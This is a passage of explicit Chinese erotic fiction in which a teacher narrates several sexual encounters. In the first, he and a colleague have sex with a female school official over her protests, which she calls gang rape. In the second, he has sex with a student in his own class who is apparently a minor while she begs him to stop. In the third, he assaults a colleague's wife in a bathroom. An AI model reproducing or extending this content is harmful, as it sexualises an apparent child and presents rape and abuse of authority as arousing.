「情郎...... 好人...... 快点停停...... 求求你。」
她两腿像蛇样的紧缠着我的屁股。
我被她这一叫是命也不要了,仍气喘如牛的大顶大送,鸡巴根上的软骨和她阴毛上的骨头碰撞,好生酸疼,也顾不了那麽多了,足足抽插了三百馀下,背上一麻,我看是要泄了:
「我要出...... 出来了。」
「情郎...... 亲哥,我还没...... 过足瘾呢...... 别丢...... 」
她两腿缠紧我,生怕我逃了似的。
奈何,我再也不想忍了,因为房外有个老王在等我。
「我不行了...... 李主任...... 我丢给你了...... 」
我拼命的向下压,打个抖颤,我就泄了。
当我泄完後,她突然呜呜的哭泣起来了。
「李主任,对不起。」
我缓缓的拨出了鸡巴。
忽然灯熄了,我知道是老王的杰作,我任她哭泣穿好了裤子,走出房外,他正站在那里,一根鸡巴直顶内裤,高高挺起。
「干嘛,忍受不了了?」
我打着他硬得好高的鸡巴,一面低说。
「你们那样,我又不是柳下惠坐怀不乱。」
他也小声说道。
「快点进去安慰她吧,现在她是空虚的很。」
他急急的就进入了房间。
我把耳朵贴在房门,倾耳细听。
只听她仍哭泣着,一面说道:
「你舒服就不管别人了...... 你这次怎麽丢的这麽快...... 」
我想他这时大概已上床了,而她以为是我,向他泣诉着。
「老李,人家正在兴头上,你却...... 都不管人家...... 怎麽?又硬了?那有这麽快...... 」
「嗯哼...... 人家还没出来,人家要你快...... 」
「嗯哼...... 对了,你现在...... 怎麽比刚刚还大呢?」
原来他的东西比我的大有寸许,怪不得她会奇怪了。
「嗯!老李,快点...... 再重点...... 对!舒服...... 」
我知道老王已提枪上阵和她打肉搏战来了。我把电灯开关一按,房间内顿然光亮了起来。
「啊!你?...... 」
我听到冷面修女惊诧的声音。
「李主任你好啊!」
是老王那油条的笑声。
「你和老李老师...... 喔,轻点...... 」
「老李说他力不从心,叫我来服侍你李主任。」
嗯!好小子,说我力不从心,我是让你啊!
「李主任,你好骚啊,我在门外听了都耳红。」
「你们是存心吃我的?」
「我们是专门为你服侍的,这下怎麽样?」
「哟...... 这下太...... 太重了...... 」
「那这下呢?」
「死人...... 这下更叫人不要活了...... 」
「把腿张开点,我叫人更不要活。」
「唔...... 」
「这样子怎麽样?」
「嗯...... 死人...... 你和老李老师...... 两个都是浑球...... 嗳!你快点抽送, 别磨那粒了...... 麻死了...... 快点...... 我痒死了...... 我流水了...... 」
我知道老王正施展着牛皮糖功夫,听「冷面修女」的浪叫声,使我本已软垂的东西又......
「嗳呀...... 你这王八蛋...... 快些,用力点...... 」
「好呀,你这王八蛋欺侮人...... 竟当我倡妓...... 」
「那有...... 这样干法...... 哟...... 这下把大姐的花心干开花了......唔...... 」
她的浪叫使人不舒服,我虽一再压制,奈何还是让欲火烧昏了头,我把房门一脚踢开,马上脱下内裤来......
「啊!老李老师...... 」
她看见我又脱下裤子来,吃惊的说不出话来。
老王冲着我一笑,又继续的进行他的工作。
「呀...... 冯老师...... 你真的不能停吗?...... 慢点儿...... 这下真的...... 嗳哟...... 」
「死了...... 死了又相吻了...... 你每次怎麽都那麽重...... 我的阴唇又被你翻出来了...... 」
「我真的不行了...... 快停停...... 你要我的命...... 要裂了...... 我的小穴要...... 裂了...... 」
「小声点,我马上就好了...... 」
「好人儿......你把我干死了......好人儿,亲哥......不能再动了......我丢了...... 丢了呀...... 」
我 见她一双腿紧紧的缠住老王,一张屁股不要命的向上挺,一挺,再挺,不动了。
「我...... 完了...... 」
一声腿无力的滑了下来。
我看的真是...... 是他那样子正在紧要关头, 我又不能把他拖下来,换我上去,干她一场。
老王的屁股像疯了似的,如雨点般一直落下去:
「唔...... 我...... 」
她被老王的阳精一烫,如被电触,四肢又紧紧地缠住了他,慢慢的老王自她身上滑了下去......
这下换我派上用场了。
挺着硬烫的鸡巴,没法消火,实在难受,老王既已经鸣鼓收兵了,但我却正要大张旗鼓呢。
我详细的看着「冷面修女」她那个洞洞儿,可能是昨晚和刚刚狠干的关系,那原先软绵绵的阴户,现在却稍微的呈现红肿,两片阴唇向外翻了少许,阴阳精和浪水正慢慢的溢了出来。
胡乱的找到几张卫生棉纱纸,替她将滑腻的阴户擦擦乾净。
我爬了上去把她全身压住,我感到躺在张柔软有弹性的沙发上,我用鸡巴乱擦乱找目的地:
「不...... 不要...... 」
她挣扎着把个大屁股摇来扭去,逃避着我鸡巴的前进搜索。
「可由不得你,你看它涨的好难受。」
我把她的大屁股用力的按住,再把她的双腿弄开来。」
「嗳哟!你们两个轮奸我...... 」
「轮奸又怎麽样?反正也弄不坏!」
我可不管她的反对和挣扎,分开她的腿後我就把一根鸡巴对准她的阴门,使劲的送了进去。
「嗳哟!人家不要嘛...... 不要...... 」
我实在是欲火难奈,一根鸡巴插入了她那可爱而又可恨的小穴内後,感觉有无比的舒服。
我把龟头顶住花心深处,享受着这耐人寻味的享受,她花心的吸吮力比谁都强,而且妙还不在此,还会把整个龟头包围起来,在马眼上打着转,这种滋味实在难以形容的享受!
不自觉的我又在花心深处顶了几顶:
「哟...... 你...... 」
「你又把...... 我,流出浪水来了...... 」
我觉得一阵微温的浪水,从她的阴道四壁,流了出来,整个的泡浸上了我的龟头。
又是感到一阵好受,我又故意的在她的花心又磨又转,因为男女在性交时,若不先引起女方的性欲男方就是一味的狠干,女方一点也不会感到舒服,就是男方也没多大的意思,而以我故意的在「冷面修女」的穴心玩弄,使她提起春情来,因为她刚才才泄了身子,果然,在经过我龟头几次磨擦之後,又渐渐提起她的欲潮来了。
我又慢慢的把鸡巴抽出,龟头停在穴外轻抽轻送,不再直入。
不久, 见她皱着眉头,眯着媚眼,屁股乱扭猛向上挺,分明要我将鸡巴深入。
我故意提着鸡巴,不插下去。
她牙齿咬得咯咯响,终於喘着叫道:
「好人...... 求求,快干...... 用力干...... 」
我又翻开了她的阴唇,用指头磨擦她的阴核。
「哟...... 痒死了...... 好人,求求你...... 」
我知道这时她的春情已高涨到极点了。
「好!小弟为大姐效劳了。」
立刻,猛插到底。
她不住的叫爸叫妈:
「宝贝小弟...... 好本事, 真能干...... 大姐好舒服...... 你是从那里...... 学来干小穴的本领...... 」
随着她的浪叫,我更加紧的抽插,次次都撞到她的花心:
「嗳哟!这下...... 捣呀...... 入呀, 大姐的小穴...... 随你怎麽玩都可以...... 喔...... 」
由於她的浪叫更使我欲潮高涨,毫无半点怜香惜玉之心,一味的狠干,直入得她娇喘连连,欲仙欲死。
「好小弟,你这麽凶...... 小穴要被你捣碎了...... 」
「看你还骚不骚,这次我可要捣碎你这害人不浅的小浪穴。」
「原谅小穴吧,慢点来,嗳哟...... 等会小穴真会让你捣碎了...... 小穴受不了了...... 」
「你受得了的,别像卖淫妇样的叫春。」
「嗳哟...... 好小弟...... 真的我...... 受不了了...... 别用力......小穴要裂了...... 」
「嗳...... 好小弟, 亲哥哥, 大姐被你插得真痛快...... 你的那个真大...... 浪穴被你玩开了...... 」
「嗳哟...... 我的好小弟...... 这下干到...... 大姐的小腹了...... 干得水穴浪水直流...... 」
她一面浪叫,一面将腿并紧,活怕我的大鸡巴溜出她的洞外似的,一个屁股来回不停的扭、转、磨。
因为她并了双腿,使她的小穴更加的小了,我的一根鸡巴被圈得十分的舒服,又是阵狠干。
她这时不住的挺着阴户,大声的喘着气说:
「好小弟, 你的龟头真大...... 小穴真要被你捣坏了...... 喔...... 我不行了...... 快用力我要丢了...... 」
她这时的动作是粗野已极,全身起了阵抽搐,将我紧紧的抱住了,一个屁股直向上挺,子宫不停的收缩,又把我整个龟头包了起来,一股烫烫的精液,流到了我的龟头上。
我再也忍不住了,连把屁股一下下的重重往下插,尽力地往下压,一阵阵的抽插,我也泄了。
我们两个热烈的拥抱一块,我一根鸡巴仍暖在她的穴内,合得紧紧的,慢慢的我的鸡巴溜出了洞口,两种汇合的精水,源源不停的从她穴内流了出来。阴毛也被弄湿了。
「大姐,你刚才好骚。」
「又讲我了,你和冯老师今晚可把我干惨了。」
「为什麽不讲把你干升天了。」
「我觉得下面很痛。」
「没关系。明早起来就好了。」
也不去清理这战场,我们相拥的睡去了。
________________________________________
下午四点钟,正是各学校放学的时候,整条大埔街挤满了下课的学生,大埔街正位於本校前,所以清一色都是本校的女学生,只有几个外校的学生必须打这儿经过。
「喂!李文玲呀,等我嘛!」
在学生群中有个嘴嚼口香糖,骑着一辆座垫架的很高的跑车,体态很丰满的女学生,一面挥手向前面另一个女学生说。
「嗳!珍珠快点啊!我等你。」
那个被叫李文玲的听到後面珍珠的一叫,回头向她说道。
那个珍珠猛的把车子用力的蹈了几下,一部车飞快的穿梭於人群,向着李文玲开去。
「喂!玉珍你怎麽那麽慢?」
「哪!这个你看。」
珍珠看了一眼马上又丢还她,一张脸直红到耳根,嘴里骂道:
「去你的,我看你愈来愈不像话了,从那儿拿来的?」
「你问这干什麽?」
「谁看你这东西?」
珍珠嘴里虽说不要,可是当李文玲把那些东西递过去时,她却又不由自主的接了过来。原来那是几张照片,里面是男女做着性爱的动作,有的女的把腿分开,而露出美妙的桃源洞口,男的俯下身去用手指把玩着,女的眯着双眼,皱着眉不胜痛苦的样子,有的男的用舌头在那女的阴户周围舔着,女的更是无奈,把屁股凌空顶着,有的男的把女的双腿架上他的肩头,一根大鸡巴正插在阴户内,女的好像十分快乐的样子......
「妖精打架!」
「小珍晚上有什麽节目没有?」
李文玲把书藏起来。
「他叫我晚上过去。」
珍珠略微娇羞的说。
「他?是谁啊?嘻,是不是小黑?」
「去你的,明知故问。」
「是不是又要去慰劳慰劳他一番?」
「你说什麽话?每次你跟你的他出去,那是慰劳他啊!」
「是啊,怎麽样?」
「怪不得两个包子愈来愈大了,嘻!」
「别五十步笑百步了,你自己看你自己的,我看比苏菲亚罗兰的差不了多少,真的,你给他摸过吗?」
「嗯...... 」
「他摸你的时候,你觉得怎样?」
「死相,专问这些干嘛?」
「说说嘛,又有什麽关系?」
「每次他开始的时候,我都有些紧张,可是不久,我却感觉到有一种讲不出的快感。」
「还有呢?」
李文玲接着问。
「他摸了不久,我感到乳房好像硬涨起来,乳头也硬了起来,他就专在人家的乳头周围捏揉,完了,该你说了。」
珍珠说到这停住了,催她说。
「他摸我的时候,我的乳头也涨涨的,他不只捏捏而已,他每次都还要在我的乳头上吸吮呢,这样吸吮使我实在太舒服了,但却也觉得很难受,尤其是他用嘴吸着我的乳头, 再轻轻往上拨起,那时真是...... 每次我回来都要再换一条内裤,不知怎样每次他吸吮乳头时,我下面不由自主的像小便似的流出水来,对了,有一次他还把手伸进我...... 里面去呢。」
「伸到你什麽里面去?」
珍珠问道。
「裤...... 子...... 」
李文珍的粉脸不禁一红,小声的说。
「嘻!伸进去干嘛?」
「他实在讨厌,在我那个上面一直抚按,揉磨,害我又流那种水了,他却笑我小便不脱裤子!」
「那时比起吮你的乳头怎样?」
珍珠好奇的问。
「那时实在叫你恨不得...... 我 觉得我的里面是又酥又酸, 要是那时他要我跟他做那个的话,我想我会答应他的。」
「哈!你可要尝到人生的滋味了。」
「小珍,你看我的导师和数学老师怎样?」
李文珍转变话题,向珍珠问道。
「什麽怎麽样?难不成你看上他们了?」
「唔 真的,导师和冯老师他们看起来比较有男人味,而我的他却有时很幼稚,要不是他能给我快乐,老早我就甩了他。」
「嗳哟!天都黑了,我得赶快回去,我和小黑约好见面的,要是去晚了,他就不高兴而不摸我了,嘿!我走了。」
珍珠说着提起她的书包向外走。
「小珍,晚上好好慰劳他一顿。」
李文玲在小珍的耳边轻轻的说。
「去你的,你要不要去找你的他呀?」
「不了,等会我要去看南都的『田园春梦』呢!」
「好!再见了!」
「再见!」
________________________________________
当我跨进南都戏院时电影已经开映了,在黑暗中藉着带票小姐的引路,找到了我的座位。
正当我聚精会神的欣赏着电影的情节时,忽然在我旁边有位女孩子的声音向我说:
「老师,你也来看电影啊?」
「喔...... 你是...... 李文玲?」
藉着微弱光线我看清坐在我身旁向我叫老师的女孩子,就是我班上那个已发育半熟的李文玲。
「老师,你没有带女朋友来呀?」
她侧着头问我。
「哈!看你这小鬼头,老师那来的女朋友啊?」
「老师长得这麽...... 我不相信没有女朋友?」
我看这小妮子八成是猫儿叫春,乾脆就吃起她的豆腐来。
「不来了,老师不正经!」
她并用右手向我的大腿轻打着,我将她的手一把抓住,她的手掌很细嫩,不觉得在那上面抚摸起来。
她自手掌被我抓住後,即一动不动的任我抓着,就算我在她的手掌抚摸时,她亦不反对。
平常我对李文玲、珍珠这两个惹火学生,就存有非分之想,平日碍於老师的严面,专严而不敢有所举动,如今竟有这良好的机会,我再也不肯放弃,我一面细细领略她柔细手掌的滋味,一面盘算采取如何步骤,虽然银幕上正演着一部好电影,我也无心欣赏了。
当戏院里银幕上落幕缓缓落下来时,我急忙拉起李文玲的手,向旁边的太平门走出去。
「文玲,到冰果室坐坐,时间还早,老师请客!」
我正实行着我的初步计划。
「不了,十点钟了,等下回家迟了,妈妈会骂的。」
她玩弄着衣角,显露出少女娇羞的本能来。
「没关系,坐会儿,不花多少时间的!」
「嗯...... 」
和她并肩走到南都对面的「梦梦冰果室」,梦梦冰果室是间高尚的冰果室,里面的灯光很柔和,三楼的地方则全无灯光,是给热恋的情侣偷情的地方,并且附近有房间,供那些忍耐不住的情侣休息。
我带文玲迳上了三楼茶座,向侍者要了两份布丁。
三楼的茶座设计得真适合男女之用,海棉沙发椅的大小恰好两人并肩而坐,还可微微躺卧休息。
由於沙发的狭小,因此使我们肩并肩,屁股挨屁股,紧紧的靠着。
「老师,我怕...... 」
她偎着我嚅嚅的说。
「傻丫头,冰果室内有什麽可怕的?」
我既以老师对学生的口吻,又以大哥对小妹的神情哄她,一手轻抚着她的秀发,另一手圈着她细小的腰。
「老师,我要回家了...... 」
她说着作势要起来,我连忙将她拥入怀里,由她的秀发、面颊,以至她的颈部,频频作无声的亲吻。
另一手由下而上渐渐移到了她的乳房,已是柔软无比,不复再有弹性,我已知她是个被摸过的处女,其实说处女我还不敢肯定,或许她连下面也被摸开了,现今的女学生可不保险。
「老师,不要...... 」
可肯定的,她绝不是初次遭遇到这种场合,但看她这种经不起挑逗和刺激的模样,实在叫我呐罕不已。
我的动作已将她溶化掉了,溶化成一滩水,随着感官的激动,她受着我热烈的抚摸,全身不安的扭动,起着轻微的颤抖,一双手紧紧反抱着我,两个面颊炽热火红,樱桃小嘴吐着丝丝热气:
「老师,我冷...... 抱紧我...... 唔...... 」
我一张火嘴唇向目标袭去,我首先吸吮她的唇,接着向她唇内伸展。我的吻再配合抚摸,形成了一首疯狂的乐章,一个节奏掀起一股热流,热流直输入她的小腹,引起她阵阵抖颤:
「嗯...... 」
我对她存着一份野心,这时她的呼吸声变得急促了,她已沈醉在我的爱抚之中,我热情的吻着她,当我解开她第一个扣子时,她曾经推着我挣扎着要站起来,我的唇,由她的唇移至她的乳房上,频频的吸吮,顿时将她卷入了欲望的漩涡里,她无法自拨地喘息着,在期待即将到来的狂风暴雨。
我的手又滑下她的小腹:
「老师,嗯...... 不可以...... 我怕...... 」
层层热浪包围着她,当她的阴户被我一摸,她不禁打了个抖索,一股骚水从她的子宫泄流出来。
「老师...... 不要摸,我流...... 流水...... 」
李文玲低叫着。
我知道我已把这少女的春情引到最高峰,这时候她一定有种迫切的本能需要。这时对她施以暴力是绝对有效的。
「文玲,老师带你到里面房间休息。」
於是,我趁机说道。
「嗯...... 」
我扶起娇软无力的她,到了间布置得很富有情调的小房间,把她横放在床上,重重的压了上去。
「老师,不要...... 你的手...... 」
我的手在她那个微微隆起长着几根阴毛的阴户上,乱揉、捏、搓,两个手指扣往那条痒筋上,一直痒到心肉。
又轻轻的把手掀开她的两片阴唇,再慢慢的把手指插进去, 觉得里面热烘烘,非常狭窄。
「老师,快抽出来,我痛...... 」
她眉头一皱,咬着牙根,我知道她还是处女。
我把手指学着鸡巴上下抽送的动作,在她狭窄的阴户内不停的抽插,一股滑腻腻的淫水又流出来。
「老师,喔...... 人家那个被你手指...... 」
慢慢的她把屁股扭了起来,少女春情一但被燃起,那是无可遏止的,很快的我将她脱光了,也很快的脱光了自己。
我跨在她的两腿间,她的腿八字大开,她那小洞也尽量放开。
我用手指头一探,正触在她颤动涨硬的阴核上,她打了个冷颤,一头就钻在我的胸前。
「老...... 师...... 我...... 」
连打寒噤,语声不成声。
她已迷乱的任我摆布了,当她的小手触摸到我硬起的鸡巴时,心头小鹿般的乱撞,哟了声:
「这麽大...... 我怕...... 」
「别怕,不会弄伤你的。」
我把龟头在她狭窄的洞口乱磨,她全身颤抖着,虽然已迫切的需要,少女本能的羞耻,使她连说:
「不要,不要,你大,坏...... 」
她扭动着一面推着我紧靠着的小腹,是显得那麽娇柔无力。
「嗯...... 老师不要...... 我怕...... 」
我咬住了柔软乳房连连的吸吮,由乳端吸吮起,吐退出,到达尖端的圆浑樱桃时...... 我就改用我的牙齿轻咬着她的你头, 恰到好处的轻咬着,再慢慢的後退......
「嗯...... 难受...... 」
她长呼一声,阴户中好像喷泉般的浪潮涛涌而至。
「文玲,你把你下面的手掀开。」
「嗯...... 」
「再用另一只手带着我的鸡巴。」
她怕势兮兮,羞怯怯的照做了。
我双手紧抱她的腰,龟头对准她的穴口,屁股一沈,弄了半天才把龟头塞入,只痛得她眼泪直流:
「喔...... 痛...... 轻点,好痛...... 我不来了...... 」
我觉得龟头陷入她的小穴,好像箍在一个软圈内,由於她的淫水流得多,油滑滑的她为了怕我深入,阴唇收紧把我的龟头更是箍得奇紧,好不痛快,屁股又一压,送进了二寸多。
她皱眉叫了声:
「好痛,不能再下去了...... 」
我像没听见似的,屁股猛一下沈,粗大的阳具又进入了一半,只痛得她死去活来,嘴内频频呼痛,语不成声。
「老师...... 痛不过,快拨出来。」
她长长喘了一口气,眼泪汪汪的低声哀求。
我吻住她的樱唇,舌尖抵住她的香舌,下面轻轻的抽送。
这时的她春情反应最敏锐, 觉得下体有着从未有过的感觉,先是隐隐作痛,而後酥痒、酸麻的感觉。
怕她过份的疼痛不敢再插深, 在她的穴口处抽磨,只是这并不使她减少疼痛,反而奇痒,使她不能自主的扭动细腰,转动着屁股,下身挺动向龟头迎去,急想整根鸡巴深入......
我又慢慢的把鸡巴加重抽插, 见她又频频呼痛了,轻咬着她的舌尖,咬得她全身发麻。
在她的穴口抽插,实在未能满足我的需要,双手紧抱着她的腰,她大约知道我又要深入了,忙说:
「老师...... 就这样,只弄半截儿,我痛...... 」
她闭住眼睛,咬紧牙根。
我先轻轻挺了几下, 猛的吻住她的小嘴,鸡巴猛的向下压,「滋...... 」一声,全根尽没而入。
「老师,不行...... 受不了...... 不许...... 」
她全身抖颤,眼泪汪汪的模样,叫人实在不忍,她大概痛极了,脸上直冒冷汗,眼泪流了下来。
我轻怜的为她拭去汗水和泪水,屁股转动着龟头转磨花心,不过几分钟後她连打冷颤, 磨得她淫水直流,一个小小的阴户被我塞得紧紧的,直转得花心阵阵发麻,这时她阴户内发烫,并且微微的抖颤,我知道痛苦已过,现在她已引发了春情,放下了心,不停抽插起来。
「唔...... 老师,不许你用力,要轻...... 轻的...... 慢一点喔...... 喔...... 」
空气中散布着她的声音,她那两个富有弹性柔软的乳房,随着她摆动的身形,在我眼前幌动。
这时的她神智已清醒了,她知道现在正被她的老师做着人类原始本能的动作,从书上和从同学姐妹们得知那麽一回事,她正亲身体验着,她不知道这是痛苦或是享受。
处女终不如妇人,她在我疯狂不停的抽送下,不一会儿,她便已露出了巅峰快感的样子,再禁不住我的冲刺,便显露出了吃不消的模样,不住的扭动身体,避着我的攻势:
「不行...... 老师...... 忍受不了了...... 轻点...... 老师...... 哟...... 受不了了...... 文玲的小穴...... 裂了...... 老师...... 慢慢......唔...... 停停...... 喔...... 」
「嗳呀...... 老师我...... 」
「老师...... 我不行了...... 你好狠...... 哟...... 你把我捣坏了......干翻了...... 老师我吃不消了...... 」
「老师......你真会干......饶饶我吧......别再动了,不能再揉了...... 」
「你的...... 那个东西...... 要顶死我了...... 嗳...... 轻点...... 我下面又流水了...... 」
「老师, 抓紧我...... 抓紧我...... 喔...... 我冷...... 喔...... 这下我死了...... 真的...... 快停...... 」
经不住我一阵的狠抽猛插,她已渐渐的被我带到生命巅峰,全身起了抖颤,紧紧的把我搂住。
「喔...... 老师...... 我下面...... 撒尿了...... 」
她两腿抖了抖,收紧又伸直,两臂一松,子宫口开放开来,一股炽热少女阴精,从她的子宫深处冒了出来:「喔...... 我...... 」
我知道她已经泄了:「你出来了?」
「我无力...... 」
我的鸡巴被她的阴精一浇,更形粗长,把一个龟头顶住子宫口,一个阴户被塞得满满的,既刺痛又快感一股酸麻透过全身,她不禁由昏迷中醒了过来,连连喘气说:「老师,你的...... 真怕人,害我刚才...... 好舒服。」
「我再让你舒服一次好吗?」
「嗯...... 不...... 」
我紧搂着全身柔软无力的她,也不管她的死活,用足了力气,一下一下狠干进去,大龟头像雨点打在她的花心上,浪水阴精被带得唧唧作响,由阴户顺着屁股直流到床上湿了一大片。
她喘息着一面拒绝着,一面却又无可奈何的迎着我的攻势,使她再一度的向我投降。
「喔...... 你又...... 我死了...... 」
她的屁股,不停的向上挺动、磨转,这淫荡的动作和呼声,刺激得我发了狂,我搂着她挺起的屁股,阳具对准她一张一合的阴户,猛向里插,她乐得半闭着媚眼,紧紧的拥抱着我......
她柔软的屁股不停的扭动、旋转,我亦不停的抽插,插破你这个还嫌小的骚穴,看看你这个小骚货还会不会再卖弄风情?看你以後走起路来,还会不会故意挺着乳房、摇着屁股?
大龟头绕着狭小暖滑的穴腔转,她周身都麻了,每次龟头和阴核接触时,她的全身都会从昏迷中打个抖颤: 「啊...... 老师...... 我实在是不行了...... 经不起你的...... 老师你把我...... 干上天了...... 」
「你的鸡巴...... 把我的小穴...... 真的...... 你把小穴捣破了...... 我真的...... 吃不消了...... 」
「老师......你不要往上顶嘛......人家吃不消......你又往上顶了......」
她这时像个泄了气的皮球,把一张小嘴微微张开着,眼皮半闭着,小腹一上一下的起伏,两腿无力的八字开着,让我这条肉棒儿,如入无人之境的出入随心的干着:
「老师......我不行了......喔......小浪穴被你......捣破了......下面被你玩坏了...... 」
「嗳哟...... 你别磨...... 我受不了了...... 我没命了...... 今天......小穴会破的...... 」
「文玲,好不好?」
「嗯...... 老师...... 别再用力了...... 」
「老师...... 你饶饶我...... 求求你...... 不然轻轻的...... 我求你...... 轻点...... 」
我停止了疯狂的进攻,让她喘息一下激动的情绪。
「老师,快点动,下面又...... 痒了...... 」
「好!」
我把屁股向前用力一挺,整根鸡巴又塞了进去。
「喔...... 这下干到肚子了...... 」
「这真的...... 这下太重了...... 喔...... 大鸡巴...... 好粗...... 又顶上了...... 」
我的一根肉棒儿犹如一只刀子一样,也犹如一只大鳗鱼一样,渐渐的肉棒麻木了,阴唇内好像有股热流冲激......
「喔...... 破了...... 下面...... 」
「哟...... 嗳...... 不行快停停...... 」
见她抖颤着叫着:
「老师...... 我不行了...... 」
「嗳...... 老师...... 我又撒尿了...... 抱紧我...... 」
说着把屁股极力往上顶,一股阴精再次的从她子宫深处激流出来,全身一阵颤抖,鸡巴被她强烈的吸吮了一阵,再也忍耐不住了,我知道要射精了,连把屁股一下一下的直插,一股阳精浇在她的子宫内。
像疯狂的两人,热烈的拥抱在一起:
「老师...... 」
「文玲...... 」
我像头狂奔而筋疲力竭的野牛,确实我是头野牛,把头埋在她的胸前,她的胸部既丰满且柔软。
「老师......你害死我了......叫我以後怎麽见人啊?......纯洁身体......被你...... 呜呜...... 」
她的嘴唇颤抖的愈来愈厉害,话没说完便泣不成声了。
我紧紧抱住她,吸吮着她的泪水,带着愧疚的心情用最低柔的声音,在她耳边呐呐而言:
「文玲,原谅老师,老师对不起你。」
「对不起就...... 」
她满脸怨色的说。
热吻阻止了她再说话。
「会不会有孩子?」
「不会的,起来快穿好衣服,十一点多了,晚回去,你妈会不会骂呀?」
「不会,嗯...... 人家无力嘛!」
「来,我拉你起来!」
「喔...... 啧啧...... 」
「怎麽了?」
「痛!」
「那里?」
「下面,还问,都是你这个色鬼老师!」
她娇嗔的说话。
「你呢?骚学生。」
「死相,不理你了。」
________________________________________
赶了最後一班车,回到学校已是十二点半了,回到房间急忙脱掉衣服,去浴室洗澡。
我们学校的浴室就在宿舍旁,学校雇有工友专为老师及眷属们烧洗澡水,这时大家都睡了,整个宿舍里冷清清的。
浴室是一大间,再分为两半,中间用木板隔着,由於时间已久的关系,那块隔开的木板已经被水腐蚀了一个洞一个洞的,女性的那边,因为她们身上有别人(尤其是男人)见不得的东西,所以她们用一团团的报纸,把那些小洞洞塞了起来,使我们不能欣赏春光......
当我进到浴室里,我就听到隔壁女室有水声,显然是有人在洗澡,要不就是洗衣服,只是那水声不像洗衣服,但是谁会在这个时候,在这浴室里洗澡呢?......
我真是猜不透,本想把那些小洞洞的报纸,取下来一个看看,除掉心中的疑惑,但又怕对方发觉了,要是闹了开来,我这饭碗丢了不打紧,吃上风流官司,对於名誉的损失,可是划不来,所以我还是闷下了这口葫芦气,脱下我的衣服洗我的澡,少管闲事为妙。
可是当我把脸盆要去水池舀水的时候,我听到女人的呻吟声,声音很细微,我不禁怔住了,连忙不动侧耳倾听,可是再也听不到声音了,我想或许是我听错了,可是,又来了,好像非常的痛苦,呻吟声中好像夹着哀泣的声音,这下我断定是女人的痛苦呻吟声了,脑神经告诉我,隔壁肯定是发生意外了,服毒自杀?或是?......我再也顾不得这许多了,我用手指把一个塞有较大报纸的洞口打开,我微眯眼睛往隔壁看去......
我的天啊!一个女人......
我的神经突然一阵紧张,原来我看到的是张太太,那个瘦巴巴、半级风便可吹倒的张老师的太太。
这时张太太赤裸着身体,整个人斜靠在墙壁上,把一双粉腿大开着,露出那个迷人的桃源洞来,两手正不停的着她那黑忽忽的阴户,半眯着眼睛、微张着嘴,我知道,张太太是在干那事。
「唔...... 唔...... 」
她摇着头,吐着气的哼着。
她为何藉着洗澡来干这种事呢?我想八成是张老师无法满足她,所以 好来消消那旺盛的欲火,也难怪她这麽标致的人儿,偏偏嫁给那个病鬼似的丈夫,真的,凭张老师身上那几根骨头,怎能满足狼虎之年的她呢?
看她的身段实在够迷人的,两个乳房虽然生过两个孩子了,但却不下垂,还是丰满的挺着,只是乳头因授你的关系,比「冷面修女」来的大一些,颜色深一些,它的丰劲弹性可不会差到那去。
再往下移是那个小腹,或许因为她生过孩子的关系,有圈紫色的花纹,她的腰肢可还纤细的很,再往下......
呵!是那个玩尽了天下英雄好汉的迷人桃源洞,她的阴毛长得茂盛得很,黑压压的一大片,可知她是个性欲极强的人,阴唇向外张着,由於她不停的捻着,正有滴淫水顺着大腿流下......
「哼...... 死...... 」
她颤抖着身体,语音模糊的呻吟着。
这时她另一只手磨捻着自己的乳房,尤其是那两粒深红的乳头,被捻的坚硬异常,全身一阵乱扭......
「嗳...... 老天...... 要死了...... 」
她下面长满了茸茸黑毛的桃源洞口,这时不断的涌冒出淫水来,茸茸杂毛黏住纠缠在一起。
她百般无奈的摸也摸不着,捣也捣不着,也不知道她到底那个地方不适,全身不安的扭曲着,一身的白肉颤动着,磨呀、捻呀,好像仍痒不过,就用手直往已泛滥的洞直捣......
她弯曲着身体,两只媚眼半张半闭的看着自己的阴户,又把那只本来在摸乳房的手伸到阴户来,用两只手指头抓着两片皮,黑红的阴唇往外翻张了开来,接着又把另一只手的手指头伸进桃源洞内,学着鸡巴抽送的样子,继续的玩弄着自己的阴户......
她的手指一抽一送,显然有无上的快感,只见她的脸带着淫荡的笑了,从她的子宫涌冒出的淫水,顺着手指的出入被带了出来,两片阴唇也一收一翻的,她的粉首摆来摆去的......
口中不住的唔喔出声:
「唔...... 喔...... 喔...... 」
我被她这股骚浪劲儿挑动起我的性欲来了,鸡巴也慢慢的涨大,我再也不管会发生什麽後果了,我出了男浴室的门飞快的进入女浴室,朝着张太太猛的扑上去,抱住她:
「啊?你...... 你...... 老李老师...... 」
「张太太,不要出声,我来...... 使你快活。」
我的嘴唇吻上她的,她的全身一阵扭动,在我怀里挣扎。
「唔...... 不要...... 老李老师...... 」
不理她的抗拒,她这种欲拒还迎的抗拒,对我而言,不啻是种有效的鼓励。我连忙吸吮着她丰满的乳房。
「不要...... 我不要...... 」
她嘴中连连说不要,一张屁股却紧紧靠着我的屁股,她的阴户正对着我已勃起的鸡巴,不停的左右来往的摩擦着,我感到一股热流从她的下体,传播到我的身体。
我猛地把她按在浴室地板上,全身压了上去。
「老李老师...... 你要干什麽?」
「使你快活!」
「嗯...... 你...... 」
我用力地分开她的双腿,使她那潮湿、滑腻的阴户,呈现在我眼前,我握正了鸡巴,往她的洞口一塞,不入,再握正了,又塞,又是不入,急得我眼冒金星....
「张太太,在那里嘛?」
「自己找。」
她说着自动把腿张得更开,腾出了一手挟着我的鸡巴到她的洞口,我忙不迭地塞了进去。
「喔...... 唔...... 」
她把腿盘在我的屁股上,使她的花心更为突出,每当我的鸡巴插入都触到她的花心,而她就全身的抖颤。
「喔...... 美死了...... 」
我觉得她洞内有一层层的壁肉,一叠一叠,鸡巴的马眼觉得无比的舒服,不禁不停的直抽猛送。
「喔...... 老李老师...... 你真会干...... 好舒服...... 这下美死了......喔...... 」
「这下又...... 美死了...... 」
「嗯...... 重...... 再重一点...... 老李老师...... 你这麽狠...... 都把我弄破了...... 好坏呀...... 」
「好大的鸡巴...... 老李老师...... 嗳哟...... 美死我了...... 再重......再重一点...... 」
「老李老师...... 你把我浪出...... 水来了...... 这下...... 要干死我了...... 喔...... 」
在张太太的淫声浪语下,我一口气抽了两百馀下,才稍微抑制了欲火,把个大龟头在她阴核上直转。
「老李老师...... 哟...... 」
她不禁地打了个颤抖。
「哟...... 我好难受...... 酸...... 下面...... 」
她一面颤声的浪叫着,一面把那肥大的屁股往上挺,往上摆,两边分得更开,直把穴门张开。
「酸吗?张太太!」
「嗯......人家不要你......不要你在人家......那个......阴核上磨......你真有......老李老师你......你......你是混蛋......哟...... 求你...... 别揉...... 」
